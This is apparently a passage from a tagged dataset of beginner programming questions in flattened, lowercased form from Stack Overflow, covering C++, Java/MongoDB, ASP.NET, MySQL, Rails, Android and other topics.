question 5:  ;             cin &gt;&gt; student[i]-&gt;answer.answer5;             i++;              if (i &lt; number_of_students) {                 cout &lt;&lt;  would you like to enter student information    &lt;&lt; endl;                 cin &gt;&gt; again;             }             else again= n ;         }          while(again ==  y  || again ==  y );         cout&lt;&lt; reports: &lt;&lt;endl;     } }  void sortbyid(studentrecord student[]  int number_of_students) {     bool swap = true;     int j = 0;     int temp;      while (swap)      {         swap = false;         j++;          for (int i = 0; i &lt; number_of_students - j; i++)         {             if (student[i].id &gt; student[i + 1].id)              {                 temp = student[i].id;                 student[i].id = student[i + 1].id;                 student[i + 1].id = temp;                 swap = true;             }         }     } }  int linearsearch(studentrecord student[]  int number_of_students  int id  int first  int last) {     int i = 0;     int position;      for (int i = 0; i &lt; number_of_students; i++)      {          if (id == student[i].id) {             position = i; }     }      return position; }  void sortrecordsbyname(studentrecord student[]  int number_of_students) {     bool swap = true;     int j = 0;     studentrecord temp;      while (swap)      {         swap = false;         j++;         for (int i = 0; i &lt; number_of_students - j; i++)          {             if (student[i].student_name &gt; student[i + 1].student_name)              {                 strcpy(temp.student_name student[i].student_name);                 strcpy(student[i].student_name student[i + 1].student_name);                 strcpy(student[i + 1].student_name temp.student_name);                 swap = true;             }         }     } }  void calculateavgandletter(studentrecord student[]  int number_of_students  char key[5]) {     int points1;     int points2;     int points3;     int points4;     int points5;     int i = 0;     int j = 0;      for (int i = 0; i &lt; number_of_students; i++)      {         if (student[i].answer.answer1 == key[0])             points1 = 10;         else             points1 = 0;          if (student[i].answer.answer2 == key[1])             points2 = 10;         else             points2 = 0;          if (student[i].answer.answer3 == key[2])             points3 = 10;         else             points3=0;          if (student[i].answer.answer4 == key[3])             points4 = 10;         else             points4 = 0;          if (student[i].answer.answer5 == key[4])             points5 = 10;         else             points5 = 0;          student[i].score= points1 + points2 + points3 + points4 + points5;         student[i].average = student[i].score * 2 ;           if((student[i].average &gt;= 90) &amp;&amp; (student[i].average &lt;= 100))             student[i].letter_grade= a ;          else if ((student[i].average &gt;= 80) &amp;&amp;(student[i].average &lt;= 89))             student[i].letter_grade= b ;          else if ((student[i].average &gt;= 70) &amp;&amp; (student[i].average &lt;= 79))             student[i].letter_grade= c ;          else if ((student[i].average &gt;= 60) &amp;&amp; (student[i].average &lt;= 69))             student[i].letter_grade= d ;          else if ((student[i].average &gt;= 0) &amp;&amp; (student[i].average &lt;= 59))             student[i].letter_grade= f ; } }  void displayresults(studentrecord student[]  int number_of_students) {     cout &lt;&lt; fixed&lt;&lt; setprecision(2);     cout &lt;&lt;  student id  &lt;&lt; setw(10) &lt;&lt;  studentname  &lt;&lt; setw(10) &lt;&lt;  answers  &lt;&lt; setw(10) &lt;&lt; total pts  &lt;&lt; setw(10) &lt;&lt;  average  &lt;&lt; setw(12) &lt;&lt;  letter grade &lt;&lt;endl;     cout &lt;&lt; setfill( - );     cout &lt;&lt; setw(50) &lt;&lt;  -  &lt;&lt; endl;     cout &lt;&lt; setfill(   );      for (int i = 0; i &lt; number_of_students; i++)         cout &lt;&lt; setw(3) &lt;&lt; student[i].id &lt;&lt; setw(15) &lt;&lt; student[i].student_name &lt;&lt; setw(10) &lt;&lt; student[i].answer.answer1 &lt;&lt; student[i].answer.answer2 &lt;&lt; student[i].answer.answer3 &lt;&lt; student[i].answer.answer4         &lt;&lt; student[i].answer.answer5 &lt;&lt; setw(9) &lt;&lt; student[i].score &lt;&lt; setw(10) &lt;&lt; student[i].average &lt;&lt; setw(13) &lt;&lt; student[i].letter_grade &lt;&lt; endl;      cout &lt;&lt; \n\n\nstudents admitted to graduate program: \n  &lt;&lt; endl;     cout &lt;&lt; fixed&lt;&lt; setprecision(2);     cout &lt;&lt;  student id  &lt;&lt; setw(10) &lt;&lt;  studentname  &lt;&lt; setw(10) &lt;&lt; total pts  &lt;&lt; setw(10) &lt;&lt;  average  &lt;&lt; setw(12) &lt;&lt;  letter grade &lt;&lt;endl;     cout &lt;&lt; setfill( - );     cout &lt;&lt; setw(40) &lt;&lt;  -  &lt;&lt; endl;     cout &lt;&lt; setfill(   );      for (int i = 0; i &lt; number_of_students; i++)      {         if (student[i].letter_grade ==  a  || student[i].letter_grade ==  b ) {             cout &lt;&lt; setw(2) &lt;&lt; student[i].id &lt;&lt; setw(12) &lt;&lt; student[i].student_name &lt;&lt; setw(10) &lt;&lt; student[i].score                 &lt;&lt; setw(10) &lt;&lt; student[i].average &lt;&lt; setw(10) &lt;&lt; student[i].letter_grade &lt;&lt; endl; }     }      cout &lt;&lt; \n\n\nstudents with conditional admission to graduate program: \n  &lt;&lt; endl;     cout &lt;&lt; fixed&lt;&lt; setprecision(2);     cout &lt;&lt;  student id  &lt;&lt; setw(10) &lt;&lt;  studentname  &lt;&lt; setw(10) &lt;&lt; total pts  &lt;&lt; setw(10) &lt;&lt;  average  &lt;&lt; setw(12) &lt;&lt;  letter grade &lt;&lt;endl;     cout &lt;&lt; setfill( - );     cout &lt;&lt; setw(40) &lt;&lt;  -  &lt;&lt; endl;     cout &lt;&lt; setfill(   );      for (int i = 0; i &lt; number_of_students; i++)      {         if (student[i].letter_grade ==  c ) {             cout &lt;&lt; setw(2) &lt;&lt; student[i].id &lt;&lt; setw(10) &lt;&lt; student[i].student_name &lt;&lt; setw(10) &lt;&lt; student[i].score                 &lt;&lt; setw(10) &lt;&lt; student[i].average &lt;&lt; setw(10) &lt;&lt; student[i].letter_grade &lt;&lt; endl; }     }      cout &lt;&lt; \n\n\nstudents not allowed admission: \n  &lt;&lt; endl;     cout &lt;&lt; fixed&lt;&lt; setprecision(2);     cout &lt;&lt;  student id  &lt;&lt; setw(10) &lt;&lt;  studentname  &lt;&lt; setw(10) &lt;&lt; total pts  &lt;&lt; setw(10) &lt;&lt;  average  &lt;&lt; setw(12) &lt;&lt;  letter grade &lt;&lt;endl;     cout &lt;&lt; setfill( - );     cout &lt;&lt; setw(40) &lt;&lt;  -  &lt;&lt; endl;     cout &lt;&lt; setfill(   );      for (int i = 0; i &lt; number_of_students; i++)      {         if (student[i].letter_grade ==  d  || student[i].letter_grade ==  f ) {             cout &lt;&lt; setw(2) &lt;&lt; student[i].id &lt;&lt; setw(10) &lt;&lt; student[i].student_name &lt;&lt; setw(10) &lt;&lt; student[i].score                 &lt;&lt; setw(10) &lt;&lt; student[i].average &lt;&lt; setw(10) &lt;&lt; student[i].letter_grade &lt;&lt; endl; }     } }  void searchidanddisplay(studentrecord student[]  int number_of_students  int id) {     bool check = true;     string acceptence;      cout &lt;&lt;  \n\n\nenter the id of the student:  ;     cin &gt;&gt; id;       while (check)      {         for(int i = 0; i &lt; number_of_students; i++)         {             if (id == student[i].id)              {                 check = false;              }         }         if (check == true)          {             cout &lt;&lt;  no student with this id  &lt;&lt; endl;             cin &gt;&gt; id;         }     }       int i = linearsearch(student  number_of_students  id  student[0].id  student[number_of_students].id);      if (student[i].letter_grade ==  a  || student[i].letter_grade ==  b  || student[i].letter_grade ==  c ) {         acceptence =  accepted ; }     else         acceptence =  denied ;       cout &lt;&lt; fixed &lt;&lt; setprecision(2);     cout &lt;&lt;  student id  &lt;&lt; setw(10)          &lt;&lt;  studentname           &lt;&lt; setw(10) &lt;&lt; setw(10)          &lt;&lt; total pts  &lt;&lt; setw(10)          &lt;&lt;  average  &lt;&lt; setw(10)          &lt;&lt;  letter grade           &lt;&lt;  status  &lt;&lt; endl;     cout &lt;&lt; setfill( - );     cout &lt;&lt; setw(48) &lt;&lt;  -  &lt;&lt; endl;     cout &lt;&lt; setfill(   );      cout &lt;&lt; setw(2)  &lt;&lt; student[i].id          &lt;&lt; setw(10) &lt;&lt; student[i].student_name          &lt;&lt; setw(10) &lt;&lt; student[i].score          &lt;&lt; setw(10) &lt;&lt; student[i].average          &lt;&lt; setw(10) &lt;&lt; student[i].letter_grade          &lt;&lt; setw(10) &lt;&lt; acceptence &lt;&lt;endl;  }  </code></pre>   like i said a real beginner so any help will be greatly appreciated  and hope i posted right  sorry if anything wrong. and again thanks guys for any help!,c++
is iphone app name and application name in app store should be same   i am created one app  when i upload app store  raised one doubt  whether app name what i given while developing and app store app name should be same or different     regards srini,iphone
how to read mongodb changestream data by multi process java application   each process should get unique data  i created a  microservice which is listening to the mongodb changestream notifications  of  a collection (i:e - mycollection) and update the change stream data in another  collection (i;e - yourcollection)    for scalability   i created  10 instance of  my application which will read the same changestream  notifications.    ex -     suppose at a time  100 records are updated in  mycollection  collections. so change stream will get notification of  the 100 records.    1st instance should  read   1 - 20 records from the changestream and update that records in other collection (i:e - yourcollection)    2nd instance should  update  21 - 40 records from the changestream  and update that records in  collection  yourcollection .    3nd instance should  update  41 - 60 records  from the changestream and update that records in  collection  yourcollection .    so .. on...    no two instance will get same duplicte data from the change stream .     is there any way  to implement the above requirement.   <h1>code snapshot</h1>   below are my codes    each process getting duplicate data.   any suggestion to handle this scenario     public string startprocess() {   <pre><code>        mongoclient mongoclient = new mongoclient(new mongoclienturi( mongodb://localhost:27017 localhost:27018 localhost:27019/user replset=simplireplica ));         mongodatabase database = mongoclient.getdatabase( mypoc );         mongocollection&lt;document&gt; collection = database.getcollection( user );          try {               block&lt;changestreamdocument&lt;document&gt;&gt; printblock = new block&lt;changestreamdocument&lt;document&gt;&gt;() {                 public void apply(final changestreamdocument&lt;document&gt; changestreamdocument) {                      system.out.println(  myservice::: +changestreamdocument.getfulldocument());                 }             };              // collection.watch - establishes a change stream on a collection.this will identify any changes happening to the  collection.             collection.watch(aslist(aggregates.match(filters.in( operationtype   aslist( insert    update    replace    delete )))))             .fulldocument(fulldocument.update_lookup).foreach(printblock);          } catch (ioexception e) {             e.printstacktrace();         }      } } </code></pre>   thannks  dillip,java
any tool is required for automatic entry in .net application  i am using a .net application in my office.after delivery of products each item id is submitted in delivery module.a single entry normally takes 3 mouse clicks.    in case of large lists of entries it becomes very difficult.i need some tool to automate this data entry process.so that i provide a list of item ids and it automatically feed them into application. any guidance will be appreciated.,.net
angularjs: referencing an element in array of objects in templates  i need to display three elements per row on a page  from data that i get as array  so would like ability to reference a specific element inside array.      i.e. if my array is booklist  i d like to be able to get at 3rd element of booklist so i can pass it to a directive  for example.  don t see an easy way to do this.      [edit]   <pre><code>{{booklist[2]}} </code></pre>,angularjs
get weight in android  i am new android development  and i have a question about get width of view in android. i set weight of view = 1   <pre><code>&lt;textview         android:id= @+id/tvstt          android:layout_width= 0dp          android:layout_weight= 1dp          android:layout_height= match_parent /&gt; </code></pre>   and i try to find way to get width of this in java code. how should i do  sorry about my english.,android
retain the state of checkbox status  i have a question   checkboxes that were selected were lost when clicked on menu bar . if snacks is selected    snacks ---->puffs --->veg---> and check any checkbox    and finally then if we click on beverages .    the issue is that the checkboxes that were selected under snacks aren t being rembered .    please see the jsfiddle here     <a href= http://fiddle.jshell.net/k646y/4/  rel= nofollow >http://fiddle.jshell.net/k646y/4/</a>    please let me know how can it remember the checkboxes selected in this case,jquery
link in the repeater first time only working inside the update panel control  i have link buttons for showing gridview and list view and also i have paging using datalist control all these being within the updatepanel.    paging and listview link button and gridview link button working fine in the first load but the problem is when i m doing any action within update panel like moving to next page or change gridview to listview then the <code>&lt;a&gt;</code> tag link within the repeator control is not working.    i have order buton inside the repeator control this will give the modal pop up for quantity selection and  add to cart option but <code>&lt;a&gt;</code> tag not working it does not show modal.    this <code>&lt;a&gt;</code> tag is not working:   <pre><code>&lt;a class= cur-pointer order button    data-uid= &lt;%#container.dataitem( unit )%&gt;    data-uname= &lt;%#container.dataitem( unitname )%&gt;    data-price= &lt;%#container.dataitem( price )%&gt;    data-pro-name= &lt;%#container.dataitem(productname)%&gt;    data-iid= &lt;%#container.dataitem( itemid )%&gt; &gt;   &lt;strong&gt;     &lt;asp:literal runat= server  text= &lt;%$resources:resource order %&gt; &gt;&lt;/asp:literal&gt;   &lt;/strong&gt; &lt;/a&gt; </code></pre>   full code here :   <pre><code>&lt;div class= row  style= padding: 0px 0px 41px 0px; &gt;   &lt;asp:updatepanel id= updatepanel1  runat= server &gt;       &lt;contenttemplate&gt;           &lt;div class= sort-grid &gt;               &lt;div class= col-md-4  &gt;                   &lt;div class= sorting hiddenview &gt;                       &lt;asp:linkbutton id= gridlink  runat= server  cssclass= icongridlist &gt;&lt;i class= gridicon &gt;&lt;/i&gt;&lt;/asp:linkbutton&gt;                       &lt;asp:linkbutton id= listlink  runat= server  cssclass= icongridlist &gt;&lt;i class= fa fa-list  style= color:#fff; &gt;&lt;/i&gt;&lt;/asp:linkbutton&gt;                   &lt;/div&gt;               &lt;/div&gt;               &lt;div class= col-md-4 col-md-offset-4 &gt;                   &lt;div class= sorting pagingdropdownmob &gt;                       &lt;%-- style= width: 91px; --%&gt;                       &lt;h6&gt;show&lt;/h6&gt;                       &lt;asp:dropdownlist runat= server  id= dropdownlist  style= width: 42px;  autopostback= true  onselectedindexchanged= lbtnfirst_click &gt;                           &lt;%--appenddatabounditems =  true --%&gt;                           &lt;asp:listitem selected= true  text= 10  value= 10 &gt;&lt;/asp:listitem&gt;                           &lt;asp:listitem text= 15  value= 15 &gt;&lt;/asp:listitem&gt;                           &lt;asp:listitem text= 30  value= 30 &gt;&lt;/asp:listitem&gt;                           &lt;asp:listitem text= 45  value= 45 &gt;&lt;/asp:listitem&gt;                       &lt;/asp:dropdownlist&gt;                       &lt;div class= clearfix &gt;&lt;/div&gt;                   &lt;/div&gt;                   &lt;div class= sorting paginglistmob &gt;                       &lt;h6&gt;page:&amp;nbsp;&lt;/h6&gt;                       &lt;%--  &lt;asp:linkbutton id= lbtnfirst  runat= server  causesvalidation= false  onclick= lbtnfirst_click  &gt;&lt;/asp:linkbutton&gt; &amp;nbsp;--%&gt;                       &lt;asp:linkbutton id= lbtnprevious  runat= server  causesvalidation= false  onclick= lbtnprevious_click &gt;&lt;i class= fa fa-caret-left hoverclr &gt;&lt;/i&gt;&lt;/asp:linkbutton&gt;&amp;nbsp;    &lt;span&gt;        &lt;asp:datalist id= dlpaging  runat= server  repeatdirection= horizontal  onitemcommand= dlpaging_itemcommand             onitemdatabound= dlpaging_itemdatabound  style= display: inline-block; &gt;            &lt;itemtemplate&gt;                &lt;asp:linkbutton id= lnkbtnpaging  runat= server  style= color: #000;  commandargument= &lt;%# eval( pageindex ) %&gt;                     commandname= paging  text= &lt;%# eval( pagetext ) %&gt; &gt;&lt;/asp:linkbutton&gt;&amp;nbsp;            &lt;/itemtemplate&gt;        &lt;/asp:datalist&gt;        &lt;asp:linkbutton id= lbtnnext  runat= server  causesvalidation= false             onclick= lbtnnext_click &gt;&lt;i class= fa fa-caret-right hoverclr &gt;&lt;/i&gt;&lt;/asp:linkbutton&gt;&lt;/span&gt;                       &lt;%-- &lt;asp:linkbutton id= lbtnlast  runat= server  causesvalidation= false  onclick= lbtnlast_click &gt;last&lt;/asp:linkbutton&gt;&lt;/span&gt;--%&gt;                   &lt;/div&gt;               &lt;/div&gt;               &lt;div class= clearfix &gt;&lt;/div&gt;           &lt;/div&gt;       &lt;/contenttemplate&gt;   &lt;/asp:updatepanel&gt; &lt;/div&gt; &lt;div class= row &gt; &lt;asp:updatepanel id= updatepanel3  runat= server  childrenastriggers= true &gt; &lt;contenttemplate&gt; &lt;div class= single-pro &gt;     &lt;asp:placeholder id= phitem  runat= server  visible= false &gt;         &lt;asp:repeater id= rptitem  runat= server &gt;             &lt;itemtemplate&gt;                 &lt;div class= col-md-3 col-sm-6 product-men &gt;                     &lt;%--    col-md-4 col-sm-6--%&gt;                     &lt;div class= men-pro-item simplecart_shelfitem &gt;                         &lt;div class= men-thumb-item &gt;                             &lt;a href= javascript:void(0); &gt;                                 &lt;img alt=   class= pro-image-front  src= &lt;%#container.dataitem( imagesrc )%&gt; &gt;                                 &lt;img alt=   class= pro-image-back  src= &lt;%#container.dataitem( imagesrc )%&gt; &gt;                             &lt;/a&gt;                             &lt;div class= men-cart-pro  style= padding-bottom: 8px; &gt;                                 &lt;div class= inner-men-cart-pro &gt;                                     &lt;asp:linkbutton runat= server &gt;&lt;a href= &lt;%#container.dataitem( imagesrc )%&gt;  class= link-product-add-cart image-link &gt;&lt;i class= glyphicon glyphicon-zoom-in &gt;&lt;/i&gt; &amp;nbsp;view&lt;/a&gt;&lt;/asp:linkbutton&gt;                                 &lt;/div&gt;                             &lt;/div&gt;                         &lt;/div&gt;                         &lt;%--men thumb item--%&gt;                         &lt;div class= item-info-product  &gt;                             &lt;h5 style= font-size: 16px; font-weight: 900; padding-left: 0px; padding-right: 0px; height: 42px; line-height: 17px;  class= m-none h-initial &gt;&lt;strong&gt;&lt;%#container.dataitem(productname)%&gt;&lt;/strong&gt;&lt;/h5&gt;                             &lt;%--height:33px;--%&gt;                             &lt;div class= info-product-price &gt;                                 &lt;strong&gt;&lt;span class= item_price &gt;&lt;%#container.dataitem( price )%&gt; &lt;/span&gt;&lt;%=getglobalresourceobject( resource    currency )%&gt;&lt;span&gt; /&lt;%#container.dataitem( unitname )%&gt;&lt;/span&gt;                             &lt;/div&gt;                             &lt;div class= snipcart-details top_brand_home_details item_add single-item link-product-add-cart  &gt;                                 &lt;a class= cur-pointer order button  data-uid= &lt;%#container.dataitem( unit )%&gt;  data-uname= &lt;%#container.dataitem( unitname )%&gt;  data-price= &lt;%#container.dataitem( price )%&gt;  data-pro-name= &lt;%#container.dataitem(productname)%&gt;  data-iid= &lt;%#container.dataitem( itemid )%&gt; &gt;&lt;strong&gt;                                     &lt;asp:literal runat= server  text= &lt;%$resources:resource order %&gt; &gt;&lt;/asp:literal&gt;&lt;/strong&gt;  &lt;/a&gt;                             &lt;/div&gt;                         &lt;/div&gt;                         &lt;%-- item info product--%&gt;                     &lt;/div&gt;                     &lt;%-- menproitem--%&gt;                 &lt;/div&gt;                 &lt;%--colmd3--%&gt;             &lt;/itemtemplate&gt;         &lt;/asp:repeater&gt;     &lt;/asp:placeholder&gt; &lt;/div&gt; &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt; &lt;/div&gt;   &lt;div class= row &gt; </code></pre>,asp.net
why explain shows  using where  instead of  using index  on indexed column   i am using mysql and my table type is myisam with 100 million records.    this table have 90 columns and indexes added on 30 columns.    i run this query  select id from tablename where id between num1 and num2 . this results in almost 10 seconds.<br/> now i add in where condition date like   select id from tablename where id between num1 and num2 and date between date1 and date2 . and it results in 4 minutes.      date  field is also indexed.    in first case in explain  it shows  using index  in  extra  column  while in second case in explain  it shows  using where  in  extra  column.<br/>    i don t understand the reason for different behaviour of explain  and difference in time taken for query.<br/> please anyone explain me these  so that i can work in right direction for optimizing query.,mysql
how can i re-define type conversion from pointer a to point b   i am trying to be able to swap implementation for a.     we have old code use interface like:   <pre><code>class a; class b  { a* createa(); }; </code></pre>   we want to have   <pre><code>class aimpl;  template&lt;typename impl = aimpl&gt; class a: public impl { public:   a(const impl&amp; a) : impl(a) {} };  template&lt;typename impl = bimpl&gt; class b : public impl { a* createa(); }; </code></pre>   where bimpl only have   <pre><code>aimpl* bimpl::createa(); </code></pre>   i am sure we can add:   <pre><code>a* b::createa() { return (a*)bimpl::createa();} </code></pre>   but what if there are a lot of different version of createa and i am lazy  is there a way we can define a type converter in aimpl that can implicitly convert aimpl* to a*  so that code like following won t break:   <pre><code>a* pa = bimpl::createa(); </code></pre>,c++
rails - structuring models (like common models in a directory instead of too many files in models directory)  as of now  i know this: we can create a model by placing a model file in app/models directory.     so  if i want to create 3 models user  userprofile  transaction  then i have 3 files:     <pre><code>app/models/user.rb   app/models/user_profile.rb   app/models/transaction.rb   </code></pre>   what i want to have is:      app/models/user/ directory should contain all models related to user or auth etc.    so can we do this   is this the right  way,ruby-on-rails
breakpoint via code   with javascript i can  write <code>debugger;</code> and whenever code executes that line it will break if a debugger is attached.    is there anything like that in c#  i do use the breakpoint in the ide all the time but i am just wondering if theres something like that i can write in code,.net
ekcalendar on my ipad application  i want access to the native calendar on my application. it is referred so many links  but it still could not done that process. the events are shown on my calendar. setting the time and date based alert the user also. any solution for me much appreciated.,ios
void() function return a value instead of char or string   this is my code that i have been working for quite a while. i got stuck mainly on my   <pre><code>void displayproblem(int operand1  int operand2  char getoperator) { cout &lt;&lt;   operand1 getoperator operand2 =  ; } </code></pre>   saying ( displayproblem  : cannot convert parameter 1 from  int (__cdecl *)(int)  to  int ) then another one    <pre><code>int doit(int operand1  int operand2  char getoperator) {     result = (operand1 getoperator operand2);      return result; } </code></pre>   the error say ( doit  : cannot convert parameter 1 from  int (__cdecl *)(int)  to  int ) it also say  result  is undeclared identifier i wonder what did i do wrong...    here is my code   <pre><code>//this program is a mathematical question generator. //by asking user to enter 2 separate value from 1 - 100 //this program will generate a problem which involved addition  subtraction  amultiplication  #include &lt;iostream&gt; #include &lt;cmath&gt; #include &lt;cstdlib&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt; using namespace std;  void displayproblem(int  int  char);  int main() {     bool checkguess(int  int);     char getoperator(int);     int operand1(int);     int operand2(int);     int doit(int  int  char);      srand(time(null));     int max;     int result;     int answer;     int correctanswer;      //make the program run 10 times     for( int counter = 0; counter &lt; 10; counter++)     {         //prompt user to enter positive value to generate random number up to entered value         cout &lt;&lt;  please enter value from 0 - 100  &lt;&lt; endl;         cin &gt;&gt; max;          //check for validity of entered value         while((max &lt; 0) || (max &gt; 100))         {             cout &lt;&lt;  error. please enter value from 0 - 100  &lt;&lt; endl;             cin &gt;&gt; max;         }          //prompt user to enter positive value to generate random number up to entered value         cout &lt;&lt;  please enter value from 0 - 100  &lt;&lt; endl;         cin &gt;&gt; max;          //check for validity of entered value         while((max &lt; 0) || (max &gt; 100))         {             cout &lt;&lt;  error. please enter value from 0 - 100  &lt;&lt; endl;             cin &gt;&gt; max;         }          //display the problem         displayproblem(operand1  getoperator  operand2);          cout &lt;&lt; endl;          //prompt user to enter the answer         cout &lt;&lt;  please enter your answer.  ;         cin &gt;&gt; answer ;          //display the correct answer         cout &lt;&lt;  the right answer is   &lt;&lt; doit(operand1  operand2  getoperator) &lt;&lt; endl;          //determine whether the answer is right or wrong         checkguess(result  answer);          if(result == answer)         {             correctanswer += 1;         }          cout &lt;&lt; endl;     }      cout &lt;&lt;  you got   &lt;&lt; correctanswer &lt;&lt;   numbers correct.  &lt;&lt; endl; }  //function to get the first random number int operand1(int max) {     int number1;     number1 = rand() % max;     return number1; }  //function to get the second random number int operand2(int max) {     int number2;     number2 = rand() % max;     return number2; }  //function to get a random char for mathematical operation char getoperator(int randoperator) {     randoperator = rand() % 3;      if(randoperator = 0)     {         cout &lt;&lt;  + ;     }else if(randoperator = 1)     {         cout &lt;&lt;  - ;     }else     {         cout &lt;&lt;  * ;     }      return randoperator; }  //function to solve the problem int doit(int operand1  int operand2  char getoperator) {     result = (operand1 getoperator operand2);      return result; }  //function to show the problem void displayproblem(int operand1  int operand2  char getoperator) {     cout &lt;&lt;   operand1 getoperator operand2 =  ; }  //function to check for correct answer bool checkguess(int result  int answer) {     if(answer == result)     {         cout &lt;&lt;  you are correct.   &lt;&lt; endl;     }     else     {         cout &lt;&lt;  your are wrong.   &lt;&lt; endl;     } } </code></pre>,c++
insert  }  to complete classbody in r.class  i m developing an android app  that uses sereval libraries in que. that means:   <ul> <li>project a is ibrary.</li> <li>project b uses library a and is library. </li> <li>project c users library b.</li> </ul>   now in project a or b i try to define attributes for custom views. since sdk 17  there should be no more problems with the namespace. when i make a declare-styleable  my r.class is generated automatically as excpected and the defined attributes listed up in the r.class  so i don t excpect any error in the xml-files. (normally  the r.class is not generated after clean project  when there is an error in the xml.)  now the strange thing is  that i got an error in the r.class itself. the last } to complete the class is not built. if i insert it manually  it s removed automatically after a fiew seconds. here is my attrs.xml file:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; </code></pre>      <pre><code>&lt;declare-styleable name= contentbox &gt;     &lt;attr name= distancetotext  format= dimension  /&gt;     &lt;attr name= distancebetweentext  format= dimension  /&gt;     &lt;attr name= titlecolor  format= color  /&gt;     &lt;attr name= textcolor  format= color &gt;&lt;/attr&gt;     &lt;attr name= textsizetitle  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= textsizetext  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= paddingverticaltitle  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= paddinglefttitle  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= paddinghorizontaltext  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= titlebackgroundcolor  format= color &gt;&lt;/attr&gt;     &lt;attr name= framecolor  format= color &gt;&lt;/attr&gt;     &lt;attr name= backgroundcolorclickable  format= color &gt;&lt;/attr&gt;     &lt;attr name= title  format= string &gt;&lt;/attr&gt;     &lt;attr name= textsizecolumnone  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= textsizecolumntwo  format= dimension &gt;&lt;/attr&gt;     &lt;attr name= textcolorcolumnone  format= color &gt;&lt;/attr&gt;     &lt;attr name= textcolorcolumntwo  format= color &gt;&lt;/attr&gt;     &lt;attr name= distancebetweentexthoriz &gt;&lt;/attr&gt; &lt;/declare-styleable&gt; </code></pre>       has anyone an idea,android
wrong select   i wonder why   i wonder where is something wrong with this select:   <pre><code>select  dcodigo  dtercero  dvalordeb  dvalorcre  tipo1  tipo  numero dfecha  ddetalle1 from diario where anulado=@noanulado  and (month(dfecha) between @per1 and @per2)  and (dcodigo between @cta1 and @cta2)  and year(diario.dfecha)=@anocontable  order by dcodigo dfecha </code></pre>   the problem is no show all records that should be. there are more than 100 records with month(dfecha) between per1 and per2   <pre><code>if use month(dfecha) &gt; @per1   show all records fine.   if use month(dfecha) &lt; @per2   show all records fine.   </code></pre>   but when use <code>(month(dfecha) between @per1 and @per2)</code> it doesn t show any records    what is wrong,sql
how do you multiply a character in c like python   i come from a python background and i know that in python you can do something like this:   <pre><code> g *8 gggggggg </code></pre>   now  i know you can perform a for loop to get the same result in c  but is there actually a way to multiply strings and characters in c,c
rounded imageview not shown after add resource  this is my class for make rounded imageview   <pre><code>package customfonts;   import android.annotation.suppresslint; import android.content.context; import android.graphics.bitmap; import android.graphics.bitmapshader; import android.graphics.canvas; import android.graphics.color; import android.graphics.paint; import android.graphics.shader; import android.graphics.drawable.bitmapdrawable; import android.util.attributeset; import android.widget.imageview;  public class roundedimageview extends imageview {     private int borderwidth = 0;     private int viewwidth;     private int viewheight;     private bitmap image;     private paint paint;     private paint paintborder;     private bitmapshader shader;      public roundedimageview(context context)     {         super(context);         setup();     }      public roundedimageview(context context  attributeset attrs)     {         super(context  attrs);         setup();     }      public roundedimageview(context context  attributeset attrs  int defstyle)     {         super(context  attrs  defstyle);         setup();     }      private void setup()     {         // init paint         paint = new paint();         paint.setantialias(true);          paintborder = new paint();         setbordercolor(color.white);         //setbordercolor(1);         paintborder.setantialias(true);         this.setlayertype(layer_type_software  paintborder);         paintborder.setshadowlayer(2.0f  0.0f  2.0f  color.black);     }      public void setborderwidth(int borderwidth)     {         this.borderwidth = borderwidth;         this.invalidate();     }      public void setbordercolor(int bordercolor)     {         if (paintborder != null)             paintborder.setcolor(bordercolor);          this.invalidate();     }      private void loadbitmap()     {         bitmapdrawable bitmapdrawable = (bitmapdrawable) this.getdrawable();          if (bitmapdrawable != null)             image = bitmapdrawable.getbitmap();     }      @suppresslint( drawallocation )      @override     public void ondraw(canvas canvas)     {         // load the bitmap         loadbitmap();          // init shader         if (image != null)         {             shader = new bitmapshader(bitmap.createscaledbitmap(image  canvas.getwidth()  canvas.getheight()  false)  shader.tilemode.clamp  shader.tilemode.clamp);             paint.setshader(shader);             int circlecenter = viewwidth / 2;              // circlecenter is the x or y of the view s center             // radius is the radius in pixels of the cirle to be drawn             // paint contains the shader that will texture the shape             canvas.drawcircle(circlecenter + borderwidth  circlecenter + borderwidth  circlecenter + borderwidth - 4.0f  paintborder);             canvas.drawcircle(circlecenter + borderwidth  circlecenter + borderwidth  circlecenter - 4.0f  paint);         }     }      @override     protected void onmeasure(int widthmeasurespec  int heightmeasurespec)     {         int width = measurewidth(widthmeasurespec);         int height = measureheight(heightmeasurespec  widthmeasurespec);          viewwidth = width - (borderwidth * 2);         viewheight = height - (borderwidth * 2);          setmeasureddimension(width  height);     }      private int measurewidth(int measurespec)     {         int result = 0;         int specmode = measurespec.getmode(measurespec);         int specsize = measurespec.getsize(measurespec);          if (specmode == measurespec.exactly)         {             // we were told how big to be             result = specsize;         }         else         {             // measure the text             result = viewwidth;         }          return result;     }      private int measureheight(int measurespecheight  int measurespecwidth)     {         int result = 0;         int specmode = measurespec.getmode(measurespecheight);         int specsize = measurespec.getsize(measurespecheight);          if (specmode == measurespec.exactly)         {             // we were told how big to be             result = specsize;         }         else         {             // measure the text (beware: ascent is a negative number)             result = viewheight;         }          return (result + 2);     } } </code></pre>   now i will use it in xml    <pre><code>            &lt;customfonts.roundedimageview              android:id= @+id/profile               android:layout_width= wrap_content               android:layout_height= wrap_content               android:src= @drawable/photo               /&gt; </code></pre>   also i try use   <pre><code> android:background= @drawable/photo  </code></pre>   and when i use or replace <code>customfonts.roundedimageview</code> with <code>imageview</code> its work and show my image what the problem i think its on my class code before i update it its work after update it and add some shadow its stop working any solution       photo for result   <a href= https://i.stack.imgur.com/khckq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/khckq.png  alt= enter image description here ></a>,android
